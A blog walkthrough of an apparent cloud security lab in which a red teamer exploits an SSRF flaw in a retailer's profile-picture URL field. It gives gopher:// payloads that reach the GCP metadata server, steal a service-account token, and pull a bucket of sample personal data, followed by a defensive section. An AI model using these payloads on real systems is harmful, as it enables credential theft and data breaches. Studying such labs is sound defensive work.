Post

Exploit SSRF with Gopher for GCP Initial Access

Exploit SSRF with Gopher for GCP Initial Access

Scenario

You have recently joined a red team and are on an engagement for the client Gigantic Retail. In scope is their on-premise and cloud environments. As the cloud specialist you are called upon to get initial access to their infrastructure, starting with an identified IP address.

Walkthrough

We are given IP address. The port scan shows port 80

1
2
3
4
5
6
7
8
└─$ nmap -Pn 35.226.245.121
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-06 22:13 +06
Nmap scan report for 121.245.226.35.bc.googleusercontent.com (35.226.245.121)
Host is up (0.21s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT     STATE  SERVICE
22/tcp   open   ssh
80/tcp   open   http

If we open it in a browser, we see that it hosts website for Gigantic Retail.

Nothing interesting in the Home page. There’s a shop page

HTML source code reveals that the website is using Google Storage to host images - gigantic-retail

1
https://storage.googleapis.com/gigantic-retail/shop/image4.jpg

Let’s enumerate it, but first authenticate via Google Cloud CLI

1
2
gcloud auth revoke --all  # remove existing authenticated sessions if you want
gcloud auth login

If we try listing the contents of the bucket using the Google Cloud CLI, it is not successful.

1
2
3
└─$ gcloud storage buckets list gs://gigantic-retail/
ERROR: (gcloud.storage.buckets.list) [hrafnulf1331@gmail.com] does not have permission to access b instance [gigantic-retail] (or it may not exist): hrafnulf1331@gmail.com does not have storage.buckets.get access to the Google Cloud Storage bucket. Permission 'storage.buckets.get' denied on resource (or it may not exist). This command is authenticated as hrafnulf1331@gmail.com which is the active account specified by the [core/account] property.
        

Let’s continue enumerating website. We find profile page in http://35.226.245.121/profile.php

We can update various details and set a profile picture. The most interesting part is that we have to provide a URL path to an image, which looks like a potential SSRF (Server-Side Request Forgery) if the backend PHP code does not validate the user-provided input.

We can test by setting url to one of the images on the site that’s hosted in the bucket. We can confirm that it works as intended

We see url parameter in the address bar is set to the picture url we provided. If we try setting it to some existing url, we receive error and the content of the webpage

There can be many internal services that can be potentially accessed. We need to find more about the type of system we are engaging with. We see that the IP address is part of the Google Cloud address space.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
└─$ whois 35.226.245.121                                                                                 

#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/resources/registry/whois/tou/
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/resources/registry/whois/inaccuracy_reporting/
#
# Copyright 1997-2025, American Registry for Internet Numbers, Ltd.
#


NetRange:       35.208.0.0 - 35.247.255.255
CIDR:           35.208.0.0/12, 35.224.0.0/12, 35.240.0.0/13
NetName:        GOOGLE-CLOUD
NetHandle:      NET-35-208-0-0-1
Parent:         NET35 (NET-35-0-0-0-0)
NetType:        Direct Allocation
OriginAS:       
Organization:   Google LLC (GOOGL-2)
RegDate:        2017-09-29
Updated:        2018-01-24
Comment:        *** The IP addresses under this Org-ID are in use by Google Cloud customers *** 
Comment:        
Comment:        Direct all copyright and legal complaints to 
Comment:        https://support.google.com/legal/go/report
Comment:        
Comment:        Direct all spam and abuse complaints to 
Comment:        https://support.google.com/code/go/gce_abuse_report
Comment:        
Comment:        For fastest response, use the relevant forms above.
Comment:        
Comment:        Complaints can also be sent to the GC Abuse desk 
Comment:        (google-cloud-compliance@google.com) 
Comment:        but may have longer turnaround times.
Ref:            https://rdap.arin.net/registry/ip/35.208.0.0
<SNIP>

Websites are usually hosted on Google Cloud is to use a VM instance. Every Google Cloud virtual machine (VM) has its metadata stored on a dedicated metadata server. The metadata can contain sensitive information such as credentials and this API is accessible to VMs without requiring authorization.

According to the documentation, this is a metadata endpoint that allows for retrieving the GCP project ID (the unit of separation in Google Cloud is a project):

1
http://metadata.google.internal/computeMetadata/v1/project/project-id

We can try fetching it, but we receive an error. According to the documentation, there’s a specific header Metadata-Flavor: Google that must be sent to access this URL

We can can also try interacting with an API that doesn’t require the header

1
http://metadata.google.internal/computeMetadata/v1beta1/

But it also fails, since it’s deprecated

After some googling, there’s a blog, that contains the following SSRF payload that encapsulates an HTTP request within a Gopher URL.

1
gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/<snip>-compute@developer.gserviceaccount.com/token%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a

Breakdown:

  • Gopher is a TCP/IP application layer protocol designed for distributing, searching, and retrieving documents over the Internet.
  • Protocol and Target: gopher://metadata.google.internal:80/ - Part of the payload specifies that the Gopher protocol is being used to make a request to metadata.google.internal on port 80, a special domain used internally by Google Cloud services to provide metadata information to VM instances.
  • Crafted Request:
    • GET /computeMetadata/v1/instance/service-accounts/<service-account>/token - GET request to the Google Cloud metadata service API, requesting an access token associated with a service account. Requires service account is associated with the VM.
    • %2520HTTP%252f%2531%252e%2531 - Encoded form of “ HTTP/1.1”
    • %250AHost:%2520metadata.google.internal -Encoded header specifying the host.
    • %250AAccept:%2520%252a%252f%252a - Encoded header for the Accept field, indicating that any media type is acceptable in response.
    • %250aMetadata-Flavor:%2520Google - Sets the header that is required to access the metadata service.

Let’s open Burp. Intercept the request and modify the url parameter to the payload below that requests the URL /computeMetadata/v1/instance/service-accounts/ to list the service accounts

1
gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a

After sending request, we receive response with the custom service account named bucketviewer@gr-proj-1.iam.gserviceaccount.com

Let’s modify the payload to get an access token for the service account

1
gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/bucketviewer@gr-proj-1.iam.gserviceaccount.com/token%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a

We receive the token

Copy the token

Set the GOOGLE_ACCESS_TOKEN environment variable to make an authenticated requests to GCP API endpoints via curl

1
export GOOGLE_ACCESS_TOKEN=<token>

We can see that gigantic-retail bucket stores interesting file named user_data.csv

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
└─$ curl -H "Authorization: Bearer $GOOGLE_ACCESS_TOKEN" "https://www.googleapis.com/storage/v1/b/gigantic-retail/o"
{
  "kind": "storage#objects",
  "items": [
    {
      "kind": "storage#object",
      "id": "gigantic-retail/images//1703694086172510",
      "selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/images%2F",
      "mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/images%2F?generation=1703694086172510&alt=media",
      "name": "images/",
      "bucket": "gigantic-retail",
      "generation": "1703694086172510",
      "metageneration": "1",
      "contentType": "text/plain",
      "storageClass": "STANDARD",
      "size": "0",
      "md5Hash": "1B2M2Y8AsgTpgAmY7PhCfg==",
      "crc32c": "AAAAAA==",
      "etag": "CN7ev4aDsIMDEAE=",
      "temporaryHold": false,
      "eventBasedHold": false,
      "timeCreated": "2023-12-27T16:21:26.216Z",
      "updated": "2023-12-27T16:21:26.216Z",
      "timeStorageClassUpdated": "2023-12-27T16:21:26.216Z",
      "timeFinalized": "2023-12-27T16:21:26.216Z"
    },
<SNIP>
    {
      "kind": "storage#object",
      "id": "gigantic-retail/userdata/user_data.csv/1703877006716190",
      "selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/userdata%2Fuser_data.csv",
      "mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fuser_data.csv?generation=1703877006716190&alt=media",
      "name": "userdata/user_data.csv",
      "bucket": "gigantic-retail",
      "generation": "1703877006716190",
      "metageneration": "1",
      "contentType": "text/csv",
      "storageClass": "STANDARD",
      "size": "2388",
      "md5Hash": "JMvLqhSoe2s9FX6JlXGmxw==",
      "crc32c": "2XJ9cA==",
      "etag": "CJ7a572stYMDEAE=",
      "timeCreated": "2023-12-29T19:10:06.754Z",
      "updated": "2023-12-29T19:10:06.754Z",
      "timeStorageClassUpdated": "2023-12-29T19:10:06.754Z",
      "timeFinalized": "2023-12-29T19:10:06.754Z"
    }
  ]
}

The mediaLink provides a direct link to download the object. After curling it we find PII data

1
2
3
4
5
6
7
8
9
10
11
12
└─$ curl -H "Authorization: Bearer $GOOGLE_ACCESS_TOKEN" "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fuser_data.csv?generation=1703877006716190&alt=media"
Name,Address,PhoneNumber,Email,Job Title,Company
John Doe,123 Main St, Seattle, WA 98101,555-1234,john.doe@novasoft.com,Software Engineer,Nova Software Solutions
Jane Smith,456 Oak Ave, Boston, MA 02110,555-5678,jane.smith@bluebaytech.com,Project Manager,Blue Bay Technologies
Bob Johnson,789 Pine Rd, Austin, TX 78701,555-9012,bob.johnson@creativedge.com,Graphic Designer,Creative Edge Design
Alice Williams,101 Cedar Lane, Denver, CO 80202,555-3456,alice.williams@peakhr.com,HR Specialist,Peak Human Resources
Charlie Brown,202 Maple Blvd, Chicago, IL 60601,555-7890,charlie.brown@marketgenius.com,Marketing Director,Market Genius Inc.
Emily Davis,303 Elm Street, San Francisco, CA 94102,555-2345,emily.davis@zenithfinance.com,Financial Analyst,Zenith Finance
Michael Miller,404 Birch Lane, New York, NY 10001,555-6789,michael.miller@techfrontier.com,IT Consultant,Tech Frontier
Olivia Wilson,505 Pinecrest Rd, Miami, FL 33101,555-0123,olivia.wilson@sunrealty.com,Real Estate Agent,Sunshine Realty
David Taylor,606 Oakwood Ave, Philadelphia, PA 19106,555-4567,david.taylor@arcopartners.com,Architect,Arco Partners
<SNIP>

Defense

Based on lab’s Defense section.

  • It is important to perform an audit of the protocols that are enabled by default in the libraries that are used:
    • In this case, we had SSRF vulnerability in the profile.php that enabled us to coerce the web server into making a GET request to any web resource
    • There was also support for gopher allowed to bypass the protective measure and provide the header in the embedded GET request that is necessary to access the internal metadata service
  • Don’t store PII on the bucket that was used for hosting the web files.
    • The data was also unencrypted
    • Do not mix the data that is used for different purposes and that has different classifications and sensitivity to be on the same bucket.
  • We can also restrict access to the Metadata server by revoking the access scopes from the VM instance by selecting No service account.
    • Acceptable for applications that do not require interaction with other Google Cloud services, and could significantly reduce the attack surface and blast radius of a compromised VM.
This post is licensed under CC BY 4.0 by the author.